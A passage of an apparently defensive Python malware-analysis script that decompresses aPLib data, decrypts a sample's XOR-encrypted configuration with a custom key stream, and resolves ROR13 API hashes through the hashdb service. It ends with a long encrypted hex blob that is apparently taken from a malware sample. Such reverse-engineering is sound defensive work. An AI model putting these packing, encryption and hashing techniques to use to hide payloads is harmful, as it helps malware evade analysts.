        self.bitcount -= 1
        if self.bitcount < 0:
            # load next tag
            self.tag = ord(self.source.read(1))
            self.bitcount = 7

        # shift bit out of tag
        bit = self.tag >> 7 & 1
        self.tag <<= 1

        return bit

    def getgamma(self):
        result = 1

        # input gamma2-encoded bits
        while True:
            result = (result << 1) + self.getbit()
            if not self.getbit():
                break

        return result

    def depack(self):
        r0 = -1
        lwm = 0
        done = False

        try:

            # first byte verbatim
            self.destination += self.source.read(1)

            # main decompression loop
            while not done:
                if self.getbit():
                    if self.getbit():
                        if self.getbit():
                            offs = 0
                            for _ in range(4):
                                offs = (offs << 1) + self.getbit()

                            if offs:
                                self.destination.append(self.destination[-offs])
                            else:
                                self.destination.append(0)

                            lwm = 0
                        else:
                            offs = ord(self.source.read(1))
                            length = 2 + (offs & 1)
                            offs >>= 1

                            if offs:
                                for _ in range(length):
                                    self.destination.append(self.destination[-offs])
                            else:
                                done = True

                            r0 = offs
                            lwm = 1
                    else:
                        offs = self.getgamma()

                        if lwm == 0 and offs == 2:
                            offs = r0
                            length = self.getgamma()

                            for _ in range(length):
                                self.destination.append(self.destination[-offs])
                        else:
                            if lwm == 0:
                                offs -= 3
                            else:
                                offs -= 2

                            offs <<= 8
                            offs += ord(self.source.read(1))
                            length = self.getgamma()

                            if offs >= 32000:
                                length += 1
                            if offs >= 1280:
                                length += 1
                            if offs < 128:
                                length += 2

                            for _ in range(length):
                                self.destination.append(self.destination[-offs])

                            r0 = offs

                        lwm = 1
                else:
                    self.destination += self.source.read(1)
                    lwm = 0

        except (TypeError, IndexError):
            if self.strict:
                raise RuntimeError('aPLib decompression error')

        return bytes(self.destination)

    def pack(self):
        raise NotImplementedError


def decompress(data, strict=False):
    packed_size = None
    packed_crc = None
    orig_size = None
    orig_crc = None

    if data.startswith(b'AP32') and len(data) >= 24:
        # data has an aPLib header
        header_size, packed_size, packed_crc, orig_size, orig_crc = struct.unpack_from('=IIIII', data, 4)
        data = data[header_size : header_size + packed_size]

    if strict:
        if packed_size is not None and packed_size != len(data):
            raise RuntimeError('Packed data size is incorrect')
        if packed_crc is not None and packed_crc != crc32(data):
            raise RuntimeError('Packed data checksum is incorrect')

    result = APLib(data, strict=strict).depack()

    if strict:
        if orig_size is not None and orig_size != len(result):
            raise RuntimeError('Unpacked data size is incorrect')
        if orig_crc is not None and orig_crc != crc32(result):
            raise RuntimeError('Unpacked data checksum is incorrect')

    return result

def update_key_and_compute(initial_value, current_seed):
    new_seed = (current_seed[0] * 0x5851F42D4C957F2D + 0x14057B7EF767814F)
    current_seed[0] = new_seed
    return initial_value * new_seed

def generate_key_stream(initial_seed, num_blocks):
    initial_value = (initial_seed[1] << 32) | initial_seed[0]
    current_seed = [(num_blocks[1] << 32) | num_blocks[0]]
    key_values = update_key_and_compute(initial_value, current_seed)
    # 更新 num_blocks 为新的种子
    new_seed = current_seed[0]
    num_blocks[0] = new_seed & 0xFFFFFFFF
    num_blocks[1] = (new_seed >> 32) & 0xFFFFFFFF
    return key_values

def decrypt_config_data(data, length, seed):
    # seed 是 64 位整数
    initial_seed = [seed & 0xFFFFFFFF, (seed >> 32) & 0xFFFFFFFF]
    num_key_values = initial_seed.copy()

    decrypted = bytearray(data)
    i = 0

    while i < length:
        result = generate_key_stream(initial_seed, num_key_values)
        result_low = result & 0xFFFFFFFF
        result_high = (result >> 32) & 0xFFFFFFFF

        # 处理第一个 4 字节
        if i < length:
            decrypted[i] ^= (result_low & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_high >> 8) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_low >> 8) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= (result_high & 0xFF)
            i += 1

        # 处理第二个 4 字节
        if i < length:
            decrypted[i] ^= ((result_low >> 16) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_high >> 24) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_low >> 24) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_high >> 16) & 0xFF)
            i += 1

    return bytes(decrypted)

def is_ascii_string(text):
    return all(c < 128 or c == 0 for c in text)


# 使用大佬写的工具: https://hashdb.openanalysis.net/
def resolve_hash(hash):
    out = requests.get('https://hashdb.openanalysis.net/hash/add_ror13/' + str(hash))
    if out.ok:
        hashes = out.json().get('hashes', [])
        if len(hashes) != 0:
            return hashes[0].get('string', {}).get('string', '')
        else:
            return ''
    else:
        return ''

encrypt_data = unhex('fcd2606251ec9a66463d000027e25eef70521901917606d17c373d36555d61b2dbcf08e0e622c432132a775d2debc5b1e363f250bc12717bde66cafcdc0c921f72b6d1a2adebec403ceef205d9e1ba246f3c4a475c224d4472401d3c28248db1d7d93cdda0f79098c6f63d9a9707297974a496c262338db5f1cd80a7fd52c16e05c92d6d5fa3ed9ad65f7fe50480b975f9b1b80ff62b8afbe7bf03271134076247f3c0f00a8a00bed02dab1fcd9d22b3ce789e1a6a5992df05681d7e1c9be3f2c2c1819309c11834359beaaf7cd2af607de0783ca272621f842220ededaa65873a432fe419d475256399e36890604a2a0d788507f23e3d157779abea5464fac16aa5f2a011abdcbba461684a9a561f769d1e0ecd44e97ee1b56fa8050148228287b04f2eff4ace3d268834d4b54747998830e5c3b10577c3f5ab0603c867e48e523dadd0ec9bcf5a0b0c3b1aa3a84a6af5e6a3c3de5a187e03e9c266a34ad4cfcc49b1c2123dc4429515bd050fc22cad53e02fdc31b0c29ca421c508af3914338b380a2b69d00b5c941a04e7be47bc7e732db1711c621f12f0e7d5de68bcb8c33845f14de2391f5b365373bc542f78f08fe3c963c6352cd441cbdaf35199e9cc0cb0a3e6e8cd02d7d086fc28f8214be30564ec790dba92e9229af6fbc3c092388afc281f8e988cf488771dbc2331d4d0cdad9ce34dc7de6af506f72c22ca69ab184204ab514b5907371c64a5a75a90d87489b103bae3a960945c1d3a8c1ad40566aa0baa0d685e2f4eb5798d7f25dbc7ca7f4e541032a8c40be67764bbac0690900d94f0328a71aa24cf0d583bbfeaedc854a439356adc94b038fb6ebdd6610945cd36aa50b71b63e41fb87f4c61e8056f8028621953ba20d23071768a41e0b572aef38ca697a88228e1e6f74adfb2b8e3598f2cc874a64619b99c32e9fd9aee46cc52c835e6d168f77ea55ec6f065011d7b9f4756132c86ebb013d5dc84da48484d9c4c4359df35f376895f53d7df4d8cdcf61fa49b8b19f1070d13cd419c1c1fe46c3b16039da4ee8f44dbedcbf3c51586f57d591e85f0e22140f3244028fdd61eff1c8085f0fd128ae76f731cafde66f1b221508924b646cc7883c52d5ba961472265664a8f27570dd67aac60bf5cdf93fe4e708004de5701d550da334e11a1df5f275258520f1ad09f5dcc4b6ec5a6801c8de41eb0ad51e0752e2bc4961d021cc03e288f7c78684059c14000d1c6167ec93bd634a1085ea3ab233e77838ee398d005895c3b64254e821556e6fc9f6263c074106e268389eb3dc2f462da7ba5822937c57194fe11387e45f714b7fa5ad098c19c6fde12327f9a631481a35f8334fe61d0aeac975592c46e2c3f8211cbd5a4344e313f58c02f1f014d2fd969f4a2407ca7621790a7ab536865d85549de3492858b6175698c5a4c4ab98ae37c50c827bae58d8bd8d83bd2397bfaba1e9d2bf58a4b3c9f4402278594dca50b724b96ffbee1a9c0b8fcbde9ff20beed888feea2d72572996bd80a6b56cf581a3e712c5a38281928c6a4342f072398807e297e4c8531042ebd9a9e58f5fe60b366e748e28396501290d2265a95b28f501f9ffc4f420630790f57416023c9481961f9e289dd9151fa1acbccf9c86a769dcae77c7066e578eec1c35cb833dbaff607c7ba0d3157a9da9962eb9c57a474b4d08c6389f171854fedb7d444d4121d5e300609f214790fe2c8760adb618b79a1a3c9d16b488fe2c29b40b5b353fabe60046dfd3ae72e0e816faa9e42c38bb5dbd9f880fa5fe91e82dbd2cab1e12ada72c6a27282c73096cf08e90ddb46742e28734d807ed5301432eaa7b1bca900c29b913b6c939db1df2144f54b551be6fd67e9cc7bd0b59c08946358fe7926332d78aec3ce7207cb3d687c879352c8ca3924f3fe4dd0f7a86d33067f01d9c00953edcac037b1ee42b3134993820356a2f0754ab24477ab324bb1669e1d74da17eb1c104120a4541d0bc16fc446125b9366fd9ba1b659b85b8a5bd007d1244267bc21b76387b587ece5b2980022d513c3c88fdbe0919941477c2aac20db92b444dc9fdabcae48c7f5288b6be375e1c9f595d38088335ea6fab5b87d05f5288e66480b32b795b4dc09c22ef67b7cf6f874b83c12d147cd7cf40bf21b920d1b65cf9fba5e03f2b9ffd5bdbca15f19fe55de578059e7a3ef6bee87172a11fa5b02ebc7f4d87e31e91d1039774509105ee25e8e313bca3af10e4cc0c56bd639cead6cc7f7c6e7216676150fe860945c4f0a1cd4b34a55bfc4c31ac3806d994e0cbca2e5921b9271ac1cc1115007ac6e32ad97a266b1c7fe236acec2e5ab95a8a845cd32ce837e2a708f9b4c58d1949c935163bb6dfed96881aeec989e53ac31bd15df039fb08f7031e82fa43bf860d00facb56a7def0de73df610be8118148dd639e64a64abcd0783e4410c5f218c00ff1b6dad8b50ea2db4eaf6e19b9ccaaf6e0f77f27b1bdb01bac1d0cb1de7b20334394c2f45b985f6bc57b0beabeaca5590a308eeb6aa505937b5005a866aa266714773cc9c796373f647b0bceb79879b7ae2dc1ca262c5138d65958cbe638f9c76d698e260b647cb41d5b5fc74e043875278771fd24e95b59860244984dc86d71b62e57015627a1c81da0af053ee9690248639ed29e060243ad7a0f6a410edd5649ece252d6294ce6fbb1030e3c575531fdf03a212aa2a221894dcd7023f07d9b2c7b985c62b8fa5594906f373fdcbf6e5a688dc98cf2d46308ff2bc1ba07b74c51e7494be595bff5ed413e52f343ee3bd1157509e48e00a7461c028811580915ea7c0603823df07175e0502569ba6065cd67e5356118044c2ab8a9f36ceaa497ee07ca78619244691e650210b9d1ef9cbcdfa07ab26225f78e953e4ce7cfdcce8a9061f3d2f90c1f3a7324b409455fccc7db6ba1471fc8b848c7853d060b4bf60d94c3b8e4c5a654f0d4eba188c171bfdaca566c2a32a4beb9f21eb2c456156a5d6f431f9422a14781eb29f7bb59d4df40abf564a4e200a63f1daba88f992107f796bd08918d43f0b739816aa0cbe1d0fcbfd0ddb1a48da6049d0738edd9a96c44a449637749aff64488d8dfb70577040bc8712ace723758ec932945717b6aea708ec1d0ec9be4aa2c85417789f52a76242e65629ef355ad20f4818e32df3c17bbb556ed88f7d07a9fdea29a55b8128eb7d0b1064915e9a732628da87666720f747cafaa05a2a1bf1509d0b8cdc1d7fe490d7a0fdda11b46f21439cea6b7d3e88cfc487b316ddac94ce498c5410bdd30bd7291002285d242daa97bbeef8c4d1e14ab90e708515a856f2cdcfe232a69dee09ddf1e5afd5c59b41f5c585c34582c6209f6f82cd5942b99d69c2b6523c93cc19632f9abd7a4f3512b0876ab14d9d71266f5d42eba6f5bb2b7788e02da833ce180fe041261730ee8eedbb0d36853beec4b7b1a77910c59751c3a45d8f71520e153c6c034fa94b162442fa64db0d8840a80e61ba936bbd00a9c202e9b6b3427864a62a2f01fc49f0dcb3fc6fd341afd678bb123ab67ef6a4f83c6e1b060368d7afccc8a3f16829d074a78a26ca22787f0872276af2a3d48a58c3fdcf30e8eee197d39da3e466642a78b43b76388afeb4c998325d9d56ae833df43db5447d284677438e77fe879546a012ee6649903b822548632461190a775f20d21fb9380d201d97c0aeaaeada522512dedf5f816f0cec44dcf5041eeb6797465f912e98b81ea7bd450e484fb20b9793f5dbaa571ac0feb40740f7eb538bcd5fea75bf4ee91796ef9d4df00f058a3ba2e22c120572845404d6e65227c4e604fba66bfca870cfe9d027ca902650a8b9ee6f6a13d480c5e0cac6e8f33c30bccb2e290ce05e9020cfa58854c2e7f4a4ff617298dacc24da93150f87e39924af07851c7ac91a61a818ef5d25b3ab97b9be10c0b49239f077f3c4f582a1c7c7574c8e3af96041a25e4730f36e3bea2ffff1f6a6a73a78eb228fab1332dfea2d9ccb209a38c331046cb01cc0a83aeca80c8ec28bcd1dff24c4b4ea45f73f7ac7ceeae7ab3548b10390772f96dfcd1cd291e88dda3e2620df5daaeb4ce580e3ccae5a8798334aa044990a2bde3c23514a676e747d2066a9789e8766d250672e47f9de6fa8c27e029365087bc1ec4c9147e10314b190ff5a0a3130b197cc9bdda9fb296b0781318b6a26415e4eb89f317aa523c41c32711a158f946b52328b6f6301a6fe6ef630bcc437dc64e836c75f394305daa7c2b9af598f81a7e5783cd327aaf7a8794552ec15a9d51c2a95fb923c15352ec1ca6284ef3ff565b8a917f5a509bf50444e7d5f32b1a48ac7aa6b08cf038c5d896868d766d4b3a04b9064630e9e86bf20d111d2cae8ae7428408510ac3bdbc2ccf8422bcd88f345b54ec85248ed9b2143c19808389b69579b8b6e7984a2f81973fdcc271bfc3af405462d0a2bd330645f1f58d0b5438b9d11caeb8e3e42dfa62fa84ec05190c5d5c4548ce34a9c69e466824033ec2e8aae04b8cc0f37ddabe9badded42314d5f9ce1bbcba40455f5d28f55af51e3680be07d59117e34aeeb2bdb44671243c094b2a68c7a639960ff0c86a4db47c664c4c4d8f36649d67237722abffe909a831c52b2d57efdf4714924e3e67261631223bf5d2693930642c714a35f74d7073c785c0c8f2b893c76f1c00d9a9f6780917a19f08c8e84de6b54a6ff78e21ce8e2f01b0e275dd1987cf49f6dd1d15f279888627b7798c7b8e00da4930d58d8ba69f9d2a493be8eb855aaa41f0a14ca228feda14c8f2faed3526091a7b71ce49fef339735d5e05425b329880546bbdee029bbdcb5590e3aaba40866b5a9b182dd58a33289f42b1cb2ed8201501e5d75bd94ee6cd6c8fde46a251d18cff400ed458e363bad01de37fdfe1c44230468245648b2b4021fe964c82e0ccab2ddf4a1174c795a661530647b47c3aeb1082dd778911e4f203e629bc2f211450c39529e472941fe6dda00c6ef8f000f2545b726ec41894881a84a2e363967d0a7e31f9398d7f1bf881c00258d717fe05b6e75ee0184249ffbf62f877c5ac7653d7311eb53f79dabeb2281833aaea2920425220425d9721d56752bb49181bdadbed44613f5d914ef4ed832655bd6e02ece8d44fb123de59461eca46b0d21e5318d572c2eac0a851c43a9474b93b88d26442d635e738e9d94f288dff2816be09279be21e81008e5e2a3defe0b750e4a9602d0f82fc3b4074f93a58852e88001608b131e992c1ef6ef144775252a5ea09e7045972dfdf6acceeaf11e9517c35645a02a2bd0010d8448cae038e0b4511377efe45c2be7284f7c92c2b003836ce0142d9e855e7310966d04da23386c17998a59174176e8b41db8d9e76eca220e71e094f6c3a03147b3aeb21fef734c1ee59be0482dabe50c35acda28ea3ec89dc7eba557bef4d189429cfd7a77f7654901fa9036acfb8462166f3d837f0142dd1a97057115be63691834750186d4843b7fb0a48da62a51d2c711554ff8ffc71cf08605769dc3f87306e68d88556cee52fef80d0fb9c2daebd8493788bbe4d314b7448a01be3e95096f12137f5749d0ea563269104fe0af303c656ccb06fc02ad967c13aa234d6850a169e69361b64eb9a95f806bcf3489fa6eac5b821937de1568c578007fc73fc1a91c92e6fcac1a062ae275c4684e0704a1139327cf201105710cf5606c31c65059cee878644e38febd5e3581d82492eb19e183675833cd7452e7d0cfe2ac7e7a40e01dadfa074d618be57f8ac545cc540954fb203617451a1656ea7fb994f08d6332c8800f7f119a50a2bf7119f0dece38872191a34d20d001ec9436b88856467e7492367b89732b1abe5ac6d462e42cdebbe8310fe65d89e8e011608a3a138b1325107043a9c44cc04a55ee4b8d008effc4281d166c979832f10ff2523e4dde33265533635629c39f30e46f98303fa856e53fa1b3fb57d90cab186ecd5628c53c2e21d9f95d073773f6d6ab4f3dc56a3ec05f97b601388ff66db12c54d48668a8f654918474e30316fd71565b409983bdac870c75e9e4e311765c766bf8a62bc5457c5040940f0a6c80239cbf73144429b508abbeaa3d2a65571155ac6dc70b85d3cba666d0412050e36d5521b314e8cd1379f42f900448fb08b7f55e874a2e0e13f8b5b46bb405f80e09444b0cd7611f2f83eb2a9d95b6a382fa17e634dd4493d78ab0b1155462e9ce3df08114a4429458ba3311175da6059c0b5168d5c87960e6c7aac185a6a574f2117d1bce7f60e3354b8d8ac5b9e2254634bd4e373ae9e38d9f6395b0d14f68a3eebf94c789afbb5ea14ca225423dec243489c8e41194b62bf5312132dd018c38f1830aa886a40179052935964e4b83c977a34242c59bd22daa481e640a49c9ed2c32f623e4163970fb1b2b4f70e594fd82c4cd8199337c1b36812e7777126077407598265959828a0a528545d2d1d5c4f727ecdd28f50896f1d5de6656e5c7c7680cb8581ca0f49d53a7b3d177bc54f525c0e622ffc695fdd2853a8a21378484a595aac0912d786c8a434c49abdc4f9fde66115c8191ab4fedbac1ea9f2b080baabd561f6f80d59e212fbe8d673185fcfa7f2e08bdead76f03ba1a2d1390126087b02a276af0d8a281a59794fbb3babf29b678e67fb53ad0be8b84331e54b199650857d8a417b3efc84c7546ae38aeb8c071925fbb8cde94c8aece3f6f153bddef60cba3f4f4362d0bd72c19d2c1a2207841eeb2aa6ae4b7f2cdc1a70c0777501cbdb71021e569ee8d82d0b00b0cf771ddf7208a4267715536b823b2f318129d16cbb877a02b229c3bccc5c8d8c5165ee33331956f6c4fdc29d4c548a52bf461ee02d03a7d186b5370dc47898b999fc366e4b98b21850d2429427d6fa8b9ef0c1950bbd729a2c56044ffe3e1731eff81ac17fdcb47f49ac483ab74ba9ff75894a21eb383e0c5b70696c7945762fd1b8c57ad119cbd419ec502f9652e421a995b3f0b192c21ec6a5ba07fb1d62185783482377cbae147fbf5cf49f932f547453a20362e5099fd0066548712426b0abc67fbde58fbf2f9f98f6700f38b61eb6538df4e4a4588dfee6bed75a03c23e0727255cb9f414e0b441ce528f8520bc3f187d69a7fa042e618f8316911a51e5d1d8f8d237661785ecd05b98eb8876fc16c0472eb09b0142c05fc14e3c6368dbda784168f7bb42fca9956922ee31d3cf5976899aba2204d4e2738dbc21e6da7820344de2607e614552496fa64bdca050c74b659edfc417bacf4e8403db48a8c513c16b7fa897a58aef54fc31ccc61045bfbcf84093a9698075c9558964cfb4e6c3116d89c3d9c7760997ab917a25a1162f41e4a65f3f6fb09e9d72db29b46905475fa965d77569b32feb538cc0e3e630dd1a8c11db7a96455ed7c695939480fb0f2c4c51781da2297fb26d714df96323a6cb7084e7025b01ed0fbd3796a237c54b975b99f99fe79a6f2f08a7e35cc02f1b7761ecf540deea57c68260976b1a0c1d45486e712edce06260c42e2ea2e70f94fd94faa2fbd7ad48208b602e0bc38ca6a572b2104cb3e0a8acb00cd85cd866d69ad4b99f59d1cfe9910f939b9cd66608f65312d0e0fa3ee464ccf2dda95b9ca9a3d02ff031666dfd134b7077ed1cd686af51b0bf0b24363a4ba94d6968d6fbc0ff1f7f1d4fcf346e619969ae3b4825140919b5be180327cf6b7a9b299c8a8ed7df0e65989be0d35aca5289f200da7a0a455be4d8482c24ab34c31566ed41a009153f4f101e088c296fb6541d190695578618a2670e7edefe7e051df29823d76895d50e30b7e829a7c893542c8fc165a7e9f28ef20b77ede46135dab8a11737c451c0b3d31f7d2b84249d9519c55e721e62fb7a7132c0a34d34aa04357a24d74a343d89ad3cea242c84ff8e6a32b1a2d8a2d3ee8cdc67933d14523d91225e121b8445fb142405b22a53fc48f9d0861f29144be2d1fe9cc2f40febdafbb363f75443df4484beaeab36235e45bfa0fac824332078bf28ef0c2c76b4d68226883a1e415beb1e176b650a8889ba9f434b83f3956c6cbf72fd8247943955082124a32754a4d5672af7bc79ba0b947e897ab5472aafe44fef34b72d2cc9c31007b8cb0628afa75ea71c8cd3dd483dd62934545c8334839838e1176f2377040031c228d1f68c31d025b4cdc9368f4a7d16dfec73d254c6690c882cbc3b726f2450a9e782f8dc43bf6381ebfb081f68024bae19bc3003d44b713037aefd494a00fd850a3e19281f6105f429f55c948548e936b095c2105e6c4e1b41b6d27e3472ff4c0b5566d2e5c7de6efc3c430670c1e3c153f6cbf32159d64cf445e0ce02ec4de3ae4c40cb9df8e969902d72c2ecacbbbcba7c9998313a624c6f14be4197dbc16e6967781f90904df0d5b416a0478e2584dca53bc2bab8a04ccff2fe1467dfdb9696888d04f0f001eff686a051d772420aabfdd0b04d1b73185d28e20f30cf908667b2e0eb30882bd8d22d27b2e5b5b96cf7d661c66d5f3f9f02a07a2490a9ff8cf0ffe0dc3626e72f2229a6dd43b2b6ed05f89da28dbb7365cb4b8245fe523256ec384cd8ae48a191369ec24c0d0b22ac4cb74e2f1b40a990f437ec2b9ea09c471afcaab2e1e66c32f4ee1400b0922bdd56fca200a5d7e563c684c70d2ec6021b0a31ad2c145311d9f24d6ad0d1175a8dcaff76c2ae51490d736ed852fcdecef3d0949b9443b370cf05aa9aa854d66a9a4916a5c1be7b358f44d20c79cd9b2b3c6d90228b9ad34075decc292d929c1b0ecaa1dd2395a660a9567bd0dab2a3cde54022a60d6bee9ee02c7a884df019793e70f53e8c99ea4c283ed52899e4d563d42447919504177b47b0e5eff2548b4e6f1f76bbe0e107ef570b24a122d4afc02691a8fcd1f8c936bd71660e7b8bcfad6c2505d4e27f2aa5f4a2412f4cd7ad02129bbd80ba35007c3425cf7c97b221dd84cc21fb5fd5db35f72dd35719a38520f138c9db0fac6679fd0c139ee0c538e57b1cdad46ceee75de5468e6a9882d1425bdba52dd450a54da0ee19c15253543499e8a6fc6112bc8571b11049f420f41747ac0cbc9bc5e86add2c8faf49399806a3a4bb6d3205f6df98a6e87c84f4012d051c7b434a71ef0907b64b81168b83670ae1f8edbdd90c27aa5221a552d8b495d23cce5e747aefb84da04b0f765be20954417fe489daca48878977975a848d464698f0a61b34f41bddaba24fcb26d328608b7eca3656732056946d690344722a80974bc60aca3e2990ea8a4794ffc77fcc1c311de5696d3cab661cb8993bd50ed2561e2d1a148b9ec15c17d13b0fb86268b9f86dc9e5cfefcf40868c08795043bdefc270566ec84874fadac418b756d4ad7bf31eb092d3a6410d47a62d65029533853339bbbc297beb83bbe8e00f307fe87f8d9bafe641527933f1ed2dd9c6fec668eb292997ec621be94c8eb3c0d2492c36aadb0842c51dc0a465a31820653066a1d38ee4a424974f4ef17994f262c62c286435b71172d790264d801756c1a0571651b3ed0059421d4d315f7fa4e7c2880dea0da45ba57b44c3f068ca4e5acbfd5355d88db8eddfc12e386818ff2e5daf98c98103cf4d92d3a30481657fcd9810c4fa37d465c0b1df73434af51851f68f7e597424693cb084c8818af802ec425bff8f4400bb5f1c639a819c9d110efe66951a6af0360be243dc93879dbb2af2f1e10fbc22d1457c53ebe14a7dd3260a866932a3364379d87e875fed72ec7935e1346bcf1289f0f8d425f3133a920f0b1d18703b3212b4405bf33393222bb816786ab560a5c9169c4cdb1e320db67c4ed8ef79daa5d23535cdd28b4059d3d37995274aacc709e5f21c2c347911d397c340d05bbbf9a10cf9fbe0b24bcc9881b0e2824c7d57644b3fdb5a2c7ced6e04baa6c2c89272e66116080324ceb096fba53c9984b3d6bb6c6089a082504aa09d06007875fe36ccc8428113232f0fb2bc9b1ffdd601598a130ecaa785a145552e1db56403c4f9d77b2fcdcff2a43c738f0fd5f3c9ffedff74f4ddc387a5411636fc4bbcbdbf0a399c141f3c17221f79ab955022ab8d77d2fbacef1576733c50adaae8d0677d3398bafe1e7e6c2503ae0b062ea4bfddb2759d2e48b5947bec6548e295d96dbab5305264f4fcf33a69f4a81eb925cfe9b20f409c68f975fa8ab83c212f51b1fc927a6623678eae7f7fa7c474ab7aa1c3208bfb7f4e22e878f1cd8b5073d56a5086429f110e5a745f032eebb56946d638b3371d9815b496ad60bf4c68237ba4da8f0ea0e52325d1bb6d91db1e1842ec7b23246b49cd443a87e2c329aaab286c8e69ee8c07e9c111949f7e17166e77c1ad6269f0b5d305b7bfa70c96083ab7fa00220350ee6ba26805abf895bee7cbe3adeffd004b5a5a59ff3de34b8042abd937f2e2228194363abe4dd6c97cc0fff89c7467466235ed3f1c4f68b58ea6823a8c2c8440de57fbefdce612a1120c96b0cff3dc6f9f349ab35974c2349f4a9699608b3e4b7b5ca9d072d88b483568cc9872d51de492346067c5ff372c0bfca978db3b689d7681d92e79eaa303f5d344ccce50bb61558faa757eacc6d67a2c535f0847589ac90fa7bf4e981ba01e274933249ae48b32396bf2a0651a1707d47970472e2af4e2ffc57bc11fd426c79dc7fa1187fd14fc66636a8a30db38c788c5098be0a06f6a7b78fd79eef3fec7ca614f47c805dfec2dde5b242a4e4668611376ad61fa824a0ca850359cd246aef18413854fab3eb571347e04a976fb4e4b5e07cdfa16e044b5934edd5f0a1995068d2d524a27e9dcfafa6c575b148d216d7cc7cd0b60b3234e4aed763e9c2b438c1835c60b9fa807fac277cd33b522a1d5f8218608d4e400e4ea8f8e54d2dc2bc9e3f0092791ca1d86cc134ac0fb129f68af4ca22bc92d0409bd938c4fad2fa3617854841bc1a5f24f55f81b5e75ab6dc96e3435bfa9298b095e0f8c28849c0ab06e71d5f9ea65c6d7a2a4606fcc7c18cbf02b8fc8416f3a7753e44d0dec90abfb6ff659e4d2275a6133e4ecb8a6e0d1b307ba4b5556e035de9938675ebf6c8274c71f07c5b09eb93d5e6daf81d532a7803c765fc22e6c74291ac5a0c677c1b9927c94474fc886a855a8c05776b4f53bc498d784407186395870684029b8f20977c811dec03625f5ef7d545fb845feb8e25b57119b0ba9e534fd271c5df54c66c0df66e1ae5cf52781cfc803d58fb339a781261f363183f5cb576e350a4599d20afeacbc37bdec9315739831cce1bdbba8623d5fe8397f352bbf2032ae980a8dd66bd96cdcc9e662aec24ff3dc9df9a3a39bb7abaf7bff34d3d39f214ef4f202c62d4eaa6e3bd8db273566a20453a10efb1fb1a118764374fc1959f0974629f4613775a6fa46a248fb1d07048d63e90ce110c5f60375b891d3a0a6cac08aa5fb781b14a813236c51ed3c51414f66cc913677f13d31528338c8c3a186fc861928134f378f0cf062a02c395444fe0cb58cc849ea90b0d5d4177cb67f4abb25095bf25d2a8aa078ff6f74502b85d647b58897c4c591e647a2a15f2d7bb139c53033475b31b55b84057b5f2f24b83bba0935b6e65d510f04e60c26a1132edb30da4a13e6a137d42e253b4833f9c3c40246d1e40cbe21ef26bbef09bace9b4155c05873f0a8a19366c1b5f1be4898442a44dbc5f5439301eab49c0d4b5be3641d9fc6b3e395c1f17e45bc287602b98c118ac16568c94e85a7399b080c0643c1f7ebc5bf072a0ce3feb3dbf2242904cc7e5f4c818d51dd74113129bfe0d819a89ef787d5f0500fefafecea65fed989a86785cf7fa5f6b07299faf73d014a5106bf28a54320031d92b3e3593003677cc02142b826987fddeb95e99d7cc7752fa2dd5bc5d27fc2284e41ab5f211c0737e8a97d72b9e6ed80ac975b84be67703a587308cdc05c192201bc37963572ea1df0a5da0207984097d17ac021097e00bc8e65667f8ffd8207944e9bfab6c3e5ef8553ce65c1f90314de51cfdfaf49344d739e918cdde88c2eaa4d3a0f75ab0f76ffc77cec21cab92a30f7787627e72ab86d2a8734093924df0766974064d3b406338d1c02bb304371195ae107236a711557ae42d28ee766c69fdee187c503608464dc7778df8e51552711ab3bbabf1aab42a989e711e930d1b672795917489afa838aa5d08f87cb51c49725bf70bfbbc2cae0db9374a403a10bf0b6f70b352673b828bc6328a51b58e96d4351b8719edcdeec9fe0294fe486b8822c88dc3d67a34920783dc8b31de38d5dfcd08ed5aa7753f28286b452f69a90d05b1e5d7ad0149cdb660adb911eadb69c18449de4230a2453cacab0a61fa90b188fa7eb8888ceb7c295738b6dfe6795f88caa7d3551cbbb8ca88832beb3a14815e652e55609a7905006a95c58cde19a0f4e70478c1855fa629386bd3db793670902a2288974ebf929acc249cb6abef103c11bfeb484eb2e959b38872ce9fe803583899fe261bf6cb3182fff7dec6c4f6a7634ee574f0243a5e69c72a6cbd6e77409d07b3955bcf2defedf27c8398623138b1f159b747ea5264e12958a8e272e0eb54f90a1db8c8f0926c4cb01cf7ecd79d1a81ae72a65261633316482293a6e0889751a97a8d79f4f641c652ae9b0d2f8dad270b956745c59638730113c8fd3ea95668fd28070e7a17dbb61be82ec297a6599560ee493bfda7994380c28b3c760cd32b891799286e54740195a3aab7b853a7f6c0f8dcc184b583aaf4f20d7a17e83356f506276cf004d6e6b1644382cf579fa1341c6cb0120c06b2973ddaeebb707ef9edffce225cff67c33aa9facdbfc9d4b71d8ffd08bfc98295df66476ad0d3b59f3734552e32831cb1e1a53769ea512fe4e0c97c83beaa011209bb164e1361f9de3ac6b1e7f7007ec94acf6e1010f162b0437fb92724a21034f03af2c25df33c7ef03cd6af8cb8dbf8787e0ec55866a19d91ca82d4be4c76ac95662719975233f3dc86524a7a86be04a4b36890f616eff51b60714cb59c95a3c3c8435ea75921935a04eb86ea3f6ba1f71c4ebc0b9e4c984fb9deff67d9ab61bfd79ff9128f95380f57006be532830225475b10ff4bf33d3ab0f1401b1539edd1da0888a8c30ab6da5d0c7eec8f33b228441e4689ae27a3625d6318076bd30bc3ac73900c9933cbe38eae2403fa6b21ec3779b6c9022cc5a7e59eaf847eb3bd0fcc9c3671c35e9ad416ea9767a83790052b80889e1cd5caebf647aec087422a74396081036853193aa0a7fa2717bf119ec814462e4b9dd12fb140f4010f45ed6c222c0a65464a843dcdb1d0ca1f216460f5435f71aa1cd7b8576a6ef49386672544efb83d97d598f889edd03e89f8c612e7d43831e39f8f8a008900e5e7046516687a5058925863cb3df7cc0dff264756ee735c6f02f9da1ef96f2da98a7c827ea7d554e645603e8ec7c1035d15e37fc3b298a38a788ec1ad86a3c2b708e56a35ca7d82edf2caf4288181d31dd1be046c358ba97b9ba43d5eb70683f2e731720ee1e5d0b5958eb163a4c910effacbef9d2d4a21024e016d36a02505a30834808dcb9d105f7ded4b692808507ad8352b02b76314c43da31b170962b0358c67ddab12aa7ba9486de79f32692389d17845591d2ff252dc7afb34ba856c10416cee35bb0bf2c4cf7c9a21855d90459ae3329107ede281c3d3559568acac06d95be1cd94adf7e4a82e7d5b44036dc5797029930ce820c8ce5e5e00cfa14b6fd18d5bb2227529fc6a8d4ec61fa1bdcaf16997c397efd6d02b3b2503d149f2ec691cba88f40dbef6e972977a0d8f